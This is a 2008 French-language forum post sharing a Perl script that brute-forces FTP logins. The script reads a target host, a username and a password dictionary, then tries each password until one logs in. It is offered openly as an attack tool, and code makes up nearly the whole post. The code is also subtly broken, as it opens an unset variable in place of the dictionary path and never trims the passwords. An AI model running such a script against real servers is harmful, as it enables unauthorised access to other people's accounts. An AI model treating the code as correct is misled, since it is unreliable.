S'enregistrer | Rechercher | FAQ | Liste des Membres | Groupes d'utilisateurs | Connexion

  Nom d'utilisateur:    Mot de passe:       

  

Poster un nouveau sujet   Répondre au sujet Page 1 sur 1
Voir le sujet précédent :: Voir le sujet suivant  
Auteur Message
MessagePosté le: Sam Juil 26, 2008 4:13 pm    Sujet du message: Simple FTP Brute Force Répondre en citant

kmkz
Projets


 
Inscrit le: 06 Fév 2008
Messages: 120
Localisation: Carcassonne, Toulouse



Yop Smile

Ca fait longtemp que j'ai pas posté de code donc en voici un petit .
Ce code permettra ( je l'espere) a certains de comprendre et leur donnera quelques idées de code a réaliser.
Code:

#!/usr/bin/perl



use Net::FTP;


(($server = $ARGV[0])) || die "usage:$0 <target> ";

print "\n [~] User a tester : \n";
chomp($user = <STDIN>);
print "\n [~] Path Du Dictionnaire a utiliser : ";
my $list=<STDIN>;
print "\n---_ Brute Forçing en cours......\n";


$ftp = Net::FTP->new("$server");
die "\nCould not connect: $!" unless $ftp;

open (PASSFILE,"$pwd") or die "\n !-Erreur a l'ouverture du Dictionnaire-!\n";
my @PASSWORDS = <PASSFILE>;
close PASSFILE;

foreach $pwd ( @PASSWORDS ) {
$pass = $pwd;   




if($ftp->login("$user","$pass"))
        {
        print "\n -> $pass is the password for user : $user !\n";
        die " [~] Bruteforcing : Successfull ! \n\n";
        }


}
$ftp->quit();


Enjoy!
Voir le profil de l'utilisateur Envoyer un message privés Visiter le site web de l'utilisateur
Poster un nouveau sujet   Répondre au sujet Page 1 sur 1

  


 
Sauter vers:  
Vous ne pouvez pas poster de nouveaux sujets dans ce forum
Vous ne pouvez pas répondre aux sujets dans ce forum
Vous ne pouvez pas éditer vos messages dans ce forum
Vous ne pouvez pas supprimer vos messages dans ce forum
Vous ne pouvez pas voter dans les sondages de ce forum



114270 Attacks blocked